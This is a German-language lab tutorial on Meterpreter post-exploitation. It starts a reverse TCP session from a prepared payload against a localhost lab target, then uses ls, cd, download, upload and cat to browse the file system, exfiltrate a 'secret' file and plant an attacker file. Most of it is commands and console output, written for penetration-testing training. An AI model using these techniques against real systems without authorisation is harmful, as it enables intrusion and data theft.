Interaktion mit dem Dateisystem des Ziels über Meterpreter

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie die grundlegenden Techniken für die Interaktion mit dem Dateisystem eines Ziels mithilfe von Meterpreter, einer fortschrittlichen Payload, die Teil des Metasploit Frameworks ist. Post-Exploitation ist eine kritische Phase eines Penetrationstests, und die Fähigkeit, im Dateisystem zu navigieren, sensible Dateien herunterzuladen und eigene Tools oder Skripte hochzuladen, ist eine wesentliche Fähigkeit.

Wir werden den Prozess der Herstellung einer Meterpreter-Sitzung durchlaufen und dann Kernbefehle wie ls, cd, download, upload und cat verwenden, um Dateien auf dem kompromittierten System zu erkunden und zu manipulieren.

Dateien und Verzeichnisse mit dem Befehl ls auflisten

In diesem Schritt stellen wir zunächst eine Meterpreter-Sitzung her und verwenden dann den Befehl ls, um die Dateien auf dem Zielsystem aufzulisten. Unser Setup-Skript hat bereits eine Payload (payload.elf) und eine Listener-Konfigurationsdatei (listener.rc) erstellt.

Zuerst starten wir den Metasploit-Listener. Er wartet auf eine eingehende Verbindung von der Payload. Wir verwenden das Flag -r, um unsere Ressourcendatei zu laden, die das Setup automatisiert.

Öffnen Sie ein Terminal und führen Sie den folgenden Befehl aus:

msfconsole -r listener.rc

Sie sehen, wie die Metasploit-Konsole startet und der Handler als Hintergrundjob läuft. Die Ausgabe wird in etwa so aussehen:

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

Nun müssen wir die Payload ausführen, um eine Verbindung zu unserem Listener herzustellen. Öffnen Sie ein neues Terminal, indem Sie auf das "+" Symbol in der Terminal-Tab-Leiste klicken. Führen Sie in diesem neuen Terminal die Payload-Datei aus, die sich in Ihrem ~/project-Verzeichnis befindet.

./payload.elf

Dieser Befehl erzeugt keine Ausgabe. Wechseln Sie zurück zu Ihrem ersten Terminal (dem, das msfconsole ausführt). Sie sollten eine Meldung sehen, die anzeigt, dass eine Sitzung geöffnet wurde.

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Hinweis: Wenn Sie nicht automatisch in die Sitzung geleitet werden, können Sie aktive Sitzungen mit sessions auflisten und mit einer Sitzung über sessions -i <ID> interagieren, z. B. sessions -i 1.

Sie befinden sich nun in einer Meterpreter-Sitzung, erkennbar am Prompt meterpreter >. Jeder Befehl, den Sie hier eingeben, wird auf der Zielmaschine ausgeführt. Verwenden wir den Befehl ls, um die Dateien im aktuellen Verzeichnis des Ziels aufzulisten.

ls

Dies listet die Dateien und Verzeichnisse im aktuellen Arbeitsverzeichnis des Ziels auf.

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

Verzeichnisse mit dem Befehl cd wechseln

In diesem Schritt lernen Sie, wie Sie mit dem Befehl cd (change directory) innerhalb von Meterpreter im Dateisystem des Ziels navigieren. Dies funktioniert genauso wie der Standard-Linux-Befehl cd.

Unser Setup-Skript hat auf dem Zielsystem ein Verzeichnis unter /tmp/victim_files erstellt. Navigieren wir in das Verzeichnis /tmp.

cd /tmp

Der Befehl selbst erzeugt keine Ausgabe. Um zu bestätigen, dass wir das Verzeichnis gewechselt haben, können wir den Befehl pwd (print working directory) verwenden.

pwd

Die Ausgabe zeigt Ihr aktuelles Verzeichnis auf der Zielmaschine an.

meterpreter > pwd
/tmp

Da wir uns nun im Verzeichnis /tmp befinden, listen wir dessen Inhalt mit ls auf, um das Verzeichnis victim_files zu finden.

ls

Sie sollten das Verzeichnis victim_files neben den anderen Dateien und Verzeichnissen in /tmp sehen.

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

Eine Datei mit dem Befehl download vom Ziel herunterladen

In diesem Schritt laden wir eine Datei vom Zielsystem auf unsere eigene Maschine herunter. Dies ist eine entscheidende Technik zur Exfiltration von Daten. Wir werden den Befehl download verwenden.

Navigieren wir zunächst in das Verzeichnis victim_files, das wir im vorherigen Schritt gefunden haben.

cd victim_files

Listen Sie nun die Dateien in diesem Verzeichnis auf, um unsere Zieldatei zu finden.

ls

Sie sehen die Datei secret_notes.txt, die vom Setup-Skript erstellt wurde.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Laden wir diese Datei nun in unser lokales Verzeichnis ~/project herunter. Die Syntax lautet download <Datei_auf_dem_Ziel>. Standardmäßig wird sie in Ihr aktuelles lokales Verzeichnis heruntergeladen.

download secret_notes.txt

Sie sollten eine Bestätigungsmeldung sehen, die den erfolgreichen Download anzeigt.

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

Zur Überprüfung können Sie ein neues Terminal öffnen (oder das zweite, das Sie zuvor geöffnet haben, verwenden) und die Dateien in Ihrem Verzeichnis ~/project auf Ihrem lokalen Rechner auflisten.

ls ~/project

Sie sollten nun secret_notes.txt in der Dateiliste sehen.

Eine Datei mit dem Befehl upload auf das Ziel hochladen

In diesem Schritt lernen Sie, wie Sie mit dem Befehl upload eine Datei von Ihrem Rechner auf das Zielsystem hochladen. Dies ist nützlich, um Tools, Skripte oder andere Payloads auf dem Ziel zu platzieren.

Zuerst benötigen wir eine Datei auf unserem lokalen Rechner, die wir hochladen können. Erstellen wir eine. Führen Sie in Ihrem lokalen Shell-Terminal (nicht in der Meterpreter-Sitzung) den folgenden Befehl aus, um eine Datei namens attacker_file.txt zu erstellen.

echo "attacker data" > ~/project/attacker_file.txt

Wechseln Sie nun zurück zu Ihrer Meterpreter-Sitzung. Sie sollten sich immer noch im Verzeichnis /tmp/victim_files auf dem Ziel befinden. Wir werden attacker_file.txt aus unserem lokalen Verzeichnis ~/project in das aktuelle Verzeichnis des Ziels hochladen.

Die Syntax lautet upload <lokaler_Dateipfad>.

upload /home/labex/project/attacker_file.txt

Sie sehen eine Bestätigung, dass der Upload erfolgreich war.

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

Um zu bestätigen, dass die Datei auf dem Ziel vorhanden ist, führen Sie ls in Ihrer Meterpreter-Sitzung aus.

ls

Sie sollten nun sowohl secret_notes.txt als auch Ihre neu hochgeladene attacker_file.txt sehen.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Den Inhalt einer Textdatei mit dem Befehl cat anzeigen

In diesem letzten Schritt verwenden wir den Befehl cat in Meterpreter, um den Inhalt von Dateien direkt im Dateisystem des Ziels anzuzeigen, ohne sie vorher herunterladen zu müssen.

Sie sollten sich in Ihrer Meterpreter-Sitzung immer noch im Verzeichnis /tmp/victim_files auf dem Ziel befinden.

Zeigen wir zunächst den Inhalt der Originaldatei secret_notes.txt an.

cat secret_notes.txt

Der Befehl gibt den Inhalt der Datei direkt auf Ihrer Konsole aus.

meterpreter > cat secret_notes.txt
This is a secret file from the target.

Als Nächstes zeigen wir den Inhalt der Datei an, die wir hochgeladen haben, attacker_file.txt, um zu bestätigen, dass sie korrekt übertragen wurde.

cat attacker_file.txt

Sie sollten den Text sehen, den wir auf unserem lokalen Rechner erstellt haben.

meterpreter > cat attacker_file.txt
attacker data

Dieser Befehl ist äußerst nützlich, um Konfigurationsdateien, Protokolle oder Skripte auf dem Zielsystem schnell zu inspizieren.

Zusammenfassung

Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben die wesentlichen Meterpreter-Befehle für die Interaktion mit dem Dateisystem eines Ziels kennengelernt.

Sie haben erfolgreich eine Meterpreter-Sitzung hergestellt und die folgenden wichtigen Post-Exploitation-Befehle geübt:

  • ls: Zum Auflisten von Dateien und Verzeichnissen.
  • cd: Zur Navigation im Dateisystem.
  • pwd: Zur Identifizierung des aktuellen Arbeitsverzeichnisses.
  • download: Zum Exfiltrieren von Dateien vom Ziel auf Ihren Rechner.
  • upload: Zum Platzieren von Dateien von Ihrem Rechner auf dem Ziel.
  • cat: Zum Anzeigen des Inhalts von Textdateien direkt auf dem Ziel.

Die Beherrschung dieser Befehle ist ein grundlegender Schritt, um mit dem Metasploit Framework vertraut zu werden und effektive Penetrationstests durchzuführen.